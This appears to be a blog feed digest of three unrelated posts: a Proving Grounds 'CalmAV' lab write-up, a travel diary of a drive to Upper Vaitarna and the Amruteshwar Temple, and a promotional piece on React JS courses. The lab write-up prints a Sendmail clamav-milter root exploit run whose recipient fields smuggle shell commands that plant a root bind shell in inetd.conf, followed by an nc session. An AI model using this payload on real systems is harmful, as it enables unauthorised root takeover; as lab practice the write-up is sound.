shakuganz posted: " Hi everyone! Today's writeup is one CalmAV from Proving Grounds. It was said to be a retired OSCP machine and it is part of TJNull's OSCP prep list. Let's get started! Nmap enumeration kali@kali:~$ sudo nmap -sC -sV -p- 192.168.70.42 Starting Nmap "
Hi everyone! Today's writeup is one CalmAV from Proving Grounds. It was said to be a retired OSCP machine and it is part of TJNull's OSCP prep list. Let's get started!
Nmap enumeration
kali@kali:~$ sudo nmap -sC -sV -p- 192.168.70.42 Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-16 22:35 EDT Nmap scan report for 192.168.70.42 Host is up (0.00024s latency). Not shown: 65528 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0) | ssh-hostkey: | 1024 30:3e:a4:13:5f:9a:32:c0:8e:46:eb:26:b3:5e:ee:6d (DSA) |_ 1024 af:a2:49:3e:d8:f2:26:12:4a:a0:b5:ee:62:76:b0:18 (RSA) 25/tcp open smtp Sendmail 8.13.4/8.13.4/Debian-3sarge3 | smtp-commands: localhost.localdomain Hello [192.168.70.200], pleased to meet you, ENHANCEDSTATUSCODES, PIPELINING, EXPN, VERB, 8BITMIME, SIZE, DSN, ETRN, DELIVERBY, HELP, |_ 2.0.0 This is sendmail version 8.13.4 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP <topic>". 2.0.0 To report bugs in the implementation send email to 2.0.0 sendmail-bugs@sendmail.org. 2.0.0 For local information send email to Postmaster at your site. 2.0.0 End of HELP info 80/tcp open http Apache httpd 1.3.33 ((Debian GNU/Linux)) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/1.3.33 (Debian GNU/Linux) |_http-title: Ph33r 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 199/tcp open smux Linux SNMP multiplexer 445/tcp open netbios-ssn Samba smbd 3.0.14a-Debian (workgroup: WORKGROUP) 60000/tcp open ssh OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0) | ssh-hostkey: | 1024 30:3e:a4:13:5f:9a:32:c0:8e:46:eb:26:b3:5e:ee:6d (DSA) |_ 1024 af:a2:49:3e:d8:f2:26:12:4a:a0:b5:ee:62:76:b0:18 (RSA) MAC Address: 00:50:56:BF:F1:17 (VMware) Service Info: Host: localhost.localdomain; OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 5h59m58s, deviation: 2h49m42s, median: 3h59m58s |_nbstat: NetBIOS name: 0XBABE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Unix (Samba 3.0.14a-Debian) | NetBIOS computer name: | Workgroup: WORKGROUP\x00 |_ System time: 2021-10-17T02:35:55-04:00 | smb-security-mode: | account_used: guest | authentication_level: share (dangerous) | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2)
Based on the machine name, CalmAV, the exploit found seems interesting.
Download and run exploit
kali@kali:~$searchsploit -m multiple/remote/4761.pl ... kali@kali:~$perl 4761.pl 192.168.70.42 Sendmail w/ clamav-milter Remote Root Exploit Copyright (C) 2007 Eliteboy Attacking 192.168.77.42... 220 localhost.localdomain ESMTP Sendmail 8.13.4/8.13.4/Debian-3sarge3; Sun, 17 Oct 2021 08:07:59 -0400; (No UCE/UBE) logging access from: [192.168.77.200](FAIL)-[192.168.77.200] 250-localhost.localdomain Hello [192.168.77.200], pleased to meet you 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-EXPN 250-VERB 250-8BITMIME 250-SIZE 250-DSN 250-ETRN 250-DELIVERBY 250 HELP 250 2.1.0 <>... Sender ok 250 2.1.5 <nobody+"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf">... Recipient ok 250 2.1.5 <nobody+"|/etc/init.d/inetd restart">... Recipient ok 354 Enter mail, end with "." on a line by itself 250 2.0.0 19HC7xE7004017 Message accepted for delivery 221 2.0.0 localhost.localdomain closing connection kali@kali:~$nc 192.168.70.42 31337whoami root pwd / cd /root ls dbootstrap_settings install-report.template proof.txt cat proof.txt a1d*****************************
I hope this post has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here.
eyeHone posted: " Time: 8.30 pm on Friday 15th Oct'21. Place: Just after Ghoti Toll Gate on the Mumbai-Nasik Highway. Polo parked safely by the roadside, Headlights off. Hazard Lights on. My partner in crime: Balak, my best friend. We were almost 100 kms away from Mumbai."
Time: 8.30 pm on Friday 15th Oct'21. Place: Just after Ghoti Toll Gate on the Mumbai-Nasik Highway. Polo parked safely by the roadside, Headlights off. Hazard Lights on. My partner in crime: Balak, my best friend. We were almost 100 kms away from Mumbai. This was yet another 'Unplanned', a drive where we never have any destination in mind, we just keep driving, wherever the road takes us.
"Maybe, lets go to Nasik. Stay at Ginger overnight for some 2000 bucks. Have dinner at Blvd Lounge next to Ginger and leave early next morning" I said.
"Sounds good", said Balak while checking Maps on his phone simultaneosly. " The Nature Leap resort that you suggested earlier should be good. Its just beside the mighty Vaitarna Lake" Balak suggested.
"So should we go there? Looks pricey at 4500 bucks for the night, more than double of Ginger. Kya karu? Book Karu? " I asked Balak. He said "Yes, Kar de!!". We took a leap of faith & booked Natures Leap Resort at Upper Vairtarna.
I must have travelled to Nasik a thousand times before this. But I had never taken the inconspicuous left turn towards Upper Vaitarna Lake, which supplies bulk of the water needs of our megacity called Mumbai. The drive to Natures Leap was a crisp 30 minutes. On the way, we saw young village kids huddled in close circles with their mobile phones in hand. We realized that they all meet at a common place where the internet network was the strongest. Hotspots, me and Balak joked.
Natures Leap is a short detour from the main road, we took a left on the patchy, stone infested approach road. The entrance door was locked, the contact number given by 'Make my Trip' went unanswered. There was no one else around, no homes, no shops. It was pitch dark, only the shrill chirping of the insects broke the nights silence. Did we make a mistake booking this Resort, a thought crossed our mind. I switched off the engine. Headlights on, I honked a couple of times. After some time, we could hear a loud whistle and someone approaching us from within the resort. Out emerged the security guard with a tiny cat behind him. He opened the Gate for us. The tiny cat was "Bunty", she looked a miniature version of Kuku. Bunty got into the car, explored it, got worried a bit and jumped out towards the safety of her known surroundings into the resort.
The room was basic but spacious, housekeeping was left half done. The heavy rains of this monsoon had taken their toll on the ceiling, we could see patches of moisture and also some stains on the walls as well as the curtains. But the most basic things for an overnight stay were clean: bed and toilet.
It was almost 10 and the local village folks, who double up at Natures Leap had to wind up the kitchen before heading back home in that pitch darkness. So we had a quick dinner. The food was simple, almost like our home cooked food. I opted for a simple veg dinner of Roti, Sabji, Dal Rice. Balak opted for the chicken option. Bunty, who had by now snuggled by near our legs, got to eat chicken too along with Balak. Back to the room, we read for a while, watched the IPL final and then decided to call it a night.
I woke up to the sound of quacking ducks. There was a small pond next to our room where they made merry. How can one swim so effortlessly, I wondered to myself. Watching them glide on the water was extremely soothing. The air was fresh, there was a slight chill. I opened a book, stretched out my legs from the chair in the open deck and began reading. A perfect start to the day.
It was 9 am by the time we went to the common area for Breakfast. Bunty was not around. We thought she must have had a heavy dinner and must be lazing around somewhere. Krushna, the staff cum local village boy signaled to us that breakfast was ready to be served. After a couple of rounds of Upma and one of the best Aloo Parathas I have ever tasted and a cup of both Tea and Coffee, we checked out from Natures Leap Resort. On our way out, we saw the vast expanse of the Vaitarna Lake. The road was dotted with tiny villages. We watched kids play, waving to us as we passed by. We waved back to them & their reaction was priceless. We saw a kid cross the road hurriedly when he saw our car approaching. We had disturbed his 'shi-shi' routine and the poor kid got a big fatka on the back from his mother for crossing the road recklessly as well as half naked, holding onto his tiny chaddi. We saw young kids returning from school. Probably they walk long distances everyday to reach school. But they had a smile on the face, mostly because tomo was Sunday, a school holiday and day to play whole time. Their uniforms were long and mostly oversized, mostly being passed onto them from their elder siblings. Most villagers do not have money to buy new uniforms every year for their Kids.
Our next stop was around 90 kms away to the 'Amruteshwar Temple' at Ratanwadi, at the foothills of Fort Ratangad. Sundar estimated the time at 3 hours to destination. I was wondering that why it would take such a long time to cover a short distance. But Sundar was right. The road from Ghoti to Ratanwadi is in shambles. We drove at 10 kmph for most of the stretch. The road is so bad that even a snake would break his bones on such a road ( well, if they had any bones). We missed a turn & Sundar was frozen, so we did what is possible best in India. We asked for directions to the local folks and they happily obliged. Thankfully, we had gone off track just a couple of kilometers and were back on correct route quickly. I beat Sundar this time.
We paid 160 bucks at the Forest Departments check post (30 per person, 100 for the car). A Guide approached us to show us the tourist spots on the way for 500 rs. We declined politely. On they way to the Amruteshwar temple, we saw many waterfalls ( now almost dried up) like Necklace Waterfall, Nanhi Waterfall and Koltembhe Waterfall. Water or no water, we joked that Indians have a liking for any waterfall and they would crowd there like bees on a honey hive. After yet another rough patch of the road from the checkpost, we finally reached the Amruteshwar Temple. Village kids gheraoed us to buy flowers, but we quietly denied to buy from them. Their faces dropped and they walked away from us. Looking back, I think I should have handed over our food to them. They would have been more than happy to have a happy meal.
Amruteshwar Temple was built around 10th century by King Jhaanjh. The king had built many such temples near the origins of different rivers. Amruteshwar Temple was built near the origin of River Pravara. The dam which was built last century by the British on this Pravara river now forms the scenic backwaters of the Bhandardara. The temple has many intricate carvings, each depicting a some kind of story. But without any proper written literature on this history, we were left with our own imagination, thinking what would have been the thought process to build such a magnificent temple. The 'Pinda' is submerged in water and there is an absolute sense of tranquility that prevails within the temple walls. I strongly believe that this is a kind of place where God resides. I felt one with nature as I closed my eyes for a short prayer.
In the backdrop of the temple, one can see the mighty Ratangad Fort. There are many range treks, I understood from Balak, that 'true' trekkers do from Ratangad. There is Kalsubai, Kaatraabai, Alang and Malang that one can trek. This he said is not stuff of vloggers on Youtube. These kind of treks are done by trekkers who have a huge respect for history, nature and the complete ecosystem as such. I understood from Balak that there are many Trekkers who collect plastic and other waste thrown out by reckless individuals on and near the forts and temples and dispose the garbage in proper dustbins.
There are not many options to eat in Ratanwadi. There are some small shops that sell Kanda Bhajyas, Zunka Bhaakar and Tea. We ate a fresh cucumber spiced with salt and red masala powder, bought from a lady just outside the temple. And we started our return journey to Mumbai.
It was yet again time for me to beat Sundar. We stopped on the way to ask a local villager the best way to travel to Mumbai. He suggested us to take the route to Igatpuri and not Ghoti. And what a priceless suggestion it turned out to be. We had the mighty peaks to the Sahyadris on our left and to the right, we saw villagers walking towards the river to fetch water. In a way, it is a big irony that villagers dont have running tap water for them even though they live in one of the most water abundant places of India. We clicked many pictures on the way, including the cover pic of this blog. Out last leg of the drive, turned out to be the most rewarding.
Travel teaches us a lot. It helps widen our perspective on Life. We noticed luxurious resorts like "Kazstays" ( which lets out villas at 30000/night), another upscale Hotel properties like Tropical Retreat at Igatpuri, Green Heritage at Ghoti, Jayshin Resort at Vaitarna. But we also noticed young school kids requesting us to buy stuff from them, for 20 rs to 30 rs a packet. We saw 'rich' people throwing off plastic from their 'expensive' cars but we also noticed some clean homes of those poor villagers. We noticed 'weekend crowd' spitting on the roads but we also saw local villagers chanting aartis while selling their wares. This 'Unplanned' once again opened my eyes to an India, an India which is rich in heritage and history, an India thats lives in its villages.
PC: Balak, model in the Pic- yours truly and ofcourse, our tried and tested Polo
PS1: Learn more about the history of Forts in Maharashtra from Swapnil Pawar on his link https://www.youtube.com/user/Raanvata. Although it is in Marathi, switch on the subtitles to understand in your language. Lot of credit to his video which helped me understand the history of Amruteshwar Temple.
PS2: Sundar- Sundar Pichai. Google Maps
PS3: Book I read this week " Harsh Realities" by Harsh Mariwala. Book I am reading now " Do it Today" by Darius Foroux
Ravendra Singh posted: " React is a permissible open-sourced front-end JavaScript library that helps you to compose UI components or User Interfaces. You will find React letting you manage the view layer for web structures and mobile applications. In fact, it also allows you to "
React is a permissible open-sourced front-end JavaScript library that helps you to compose UI components or User Interfaces. You will find React letting you manage the view layer for web structures and mobile applications. In fact, it also allows you to build reusable UI components. To be precise, because of its exceptional features, React JS has received immense popularity, and that's candidates also seem to be opting for this course.
Let's now proceed further, and know some of the legit reasons to learn React JS.
Why Learn React JS?
Well, there are several genuine reasons for you to learn this course. One of the significant benefits which you will find in React JS Training Institute in Noida is that it's simpler, accelerate the developing process, and makes use of Virtual DOM effectively.
After stepping into this industry, you will be a legit part of the React Community. This specific community will, therefore, help you to work effectively with the open-source library. You also get the opportunity to work with some exceptional tools.
Furthermore, react is a field that saves you money, and time. In fact, working in this field will indulge you in breaking down an interface into reusable components. Further, it will allow you to build dynamic user interfaces.
Moreover, you will find this technology being utilized by Facebook, Instagram, Skype, and Pinterest. In fact, Facebook was the first one to make the best use of React, it still uses its improved features as well.
Consequently, amongst several technologies available, you will find React more compatible with SEO tasks. It is a technology that accepts SEO, and its effective elements are by far effective for Google to work steadily.
In fact, react makes the best use of one-way data binding. It functions in a workflow of data in a single direction. Moreover, it also provides you the callback feature to make positive changes to components
The listed information clearly expresses you some effective legit reasons to opt for this specific course. Moreover, if you are genuinely inclined towards this direction, then you should imbibe its skills beforehand.
Which is the Best Course Regarding React JS?
You will find several sorts of React certifications. In fact, you will also come across several crash courses. But you shouldn't choose them, instead, you should opt for a full-fledged detail course of React. To be precise, opting for "React – The Complete Guide" will be the appropriate course for you. This course will help you to understand every section of this course in detail. It will also impart a high-quality delivery of Hooks, React Router, Redux as well. Opting for a detailed course will help you in making your base strong.
Conclusion
The expressed information significantly expresses to you the importance of React at the present moment. In the coming years, it will stay consistent in demand as well. Furthermore, if you also want to establish your career in this direction, then you should move ahead with a legitimate certification of React JS Training Institute in Gurgaon. Having this certification in hand will help you to get into a well-established company easily.
WordPress.com
